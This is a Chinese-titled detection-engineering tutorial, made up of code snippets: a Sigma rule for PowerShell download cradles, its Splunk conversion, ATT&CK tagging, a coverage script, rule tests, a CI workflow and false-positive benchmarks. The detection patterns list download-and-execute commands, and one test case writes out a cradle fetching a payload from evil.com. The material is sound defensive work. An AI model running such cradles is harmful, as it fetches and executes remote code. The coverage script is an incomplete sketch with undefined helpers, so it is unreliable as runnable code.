检测工程的系统化实践：Sigma 规则、ATT&CK 映射与检测成熟度

title: Suspicious PowerShell Download
logsource:
  product: windows
  service: powershell
  category: ps_script
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'IEX(New-Object Net.WebClient).downloadString'
      - 'Invoke-Expression'
      - 'bitsadmin /transfer'
  condition: selection
falsepositives:
  - Legitimate administrative scripts
level: high
tags:
  - attack.execution
  - attack.t1059.001
  - attack.t1105

# 安装 sigma-cli
pip install sigma-cli
 
# 添加 Splunk 后端
sigma plugin install splunk
 
# 转换规则为 Splunk SPL
sigma convert -t splunk \
  -s ~/sigma/rules/windows/powershell/powershell_download.yml
 
# 输出：
# source="XmlWinEventLog:Microsoft-Windows-PowerShell/Operational" 
# EventCode=4104 
# (ScriptBlockText="*IEX(New-Object Net.WebClient).downloadString*" 
#  OR ScriptBlockText="*Invoke-Expression*" 
#  OR ScriptBlockText="*bitsadmin /transfer*")

tags:
  - attack.initial_access    # 战术
  - attack.t1566.001         # 技术：Spearphishing Attachment
  - attack.execution         # 战术
  - attack.t1204.002         # 技术：Malicious File

import yaml
from collections import defaultdict
import mitreattack.attackToExcel.attackToExcel as attackToExcel
 
# 加载 ATT&CK 企业矩阵
dataset = attackToExcel.get_stix_data("enterprise-attack")
 
# 遍历 Sigma 规则目录
rule_coverage = defaultdict(list)
for rule_file in Path("sigma/rules").rglob("*.yml"):
    with open(rule_file) as f:
        rule = yaml.safe_load(f)
    
    for tag in rule.get("tags", []):
        if tag.startswith("attack.t"):
            technique_id = tag.split(".")[-1].upper()
            # 标准化 technique ID（如 t1059.001 -> T1059.001）
            if not technique_id.startswith("T"):
                technique_id = "T" + technique_id
            rule_coverage[technique_id].append(rule["title"])
 
# 生成覆盖度报告
all_techniques = load_all_enterprise_techniques(dataset)
covered = set(rule_coverage.keys())
uncovered = all_techniques - covered
 
print(f"Total techniques: {len(all_techniques)}")
print(f"Covered: {len(covered)} ({len(covered)/len(all_techniques)*100:.1f}%)")
print(f"Uncovered: {len(uncovered)}")
print("\nTop uncovered techniques by tactic:")
for tech_id in sorted(uncovered)[:20]:
    tech = get_technique_by_id(dataset, tech_id)
    print(f"  {tech_id}: {tech['name']} ({tech['tactic']})")

# 在规则文件中或独立测试文件
tests:
  - name: True Positive - PowerShell download cradle
    logsource:
      product: windows
      service: powershell
    detection:
      selection:
        EventID: 4104
        ScriptBlockText: 'IEX(New-Object Net.WebClient).downloadString("http://evil.com/payload.ps1")'
    condition: selection
    result: true  # 期望触发告警
    
  - name: False Positive - legitimate admin script
    logsource:
      product: windows
      service: powershell
    detection:
      selection:
        EventID: 4104
        ScriptBlockText: 'Get-ADUser -Filter "Name -like \'*admin*\'" | Export-Csv'
    condition: selection
    result: false  # 期望不触发告警

# .github/workflows/detection-tests.yml
jobs:
  test-rules:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Setup sigma-cli
        run: pip install sigma-cli
      - name: Validate all rules
        run: |
          for rule in rules/**/*.yml; do
            sigma check "$rule"
          done
      - name: Run rule tests
        run: sigma test rules/
      - name: Verify ATT&CK coverage
        run: python scripts/coverage_report.py --min-coverage 70

# 计算规则的误报率
false_positive_rate = false_positives / (true_positives + false_positives)
 
# 行业基准
# High/Critical 级别规则：误报率应 < 5%
# Medium 级别规则：误报率应 < 15%
# Low 级别规则：误报率应 < 30%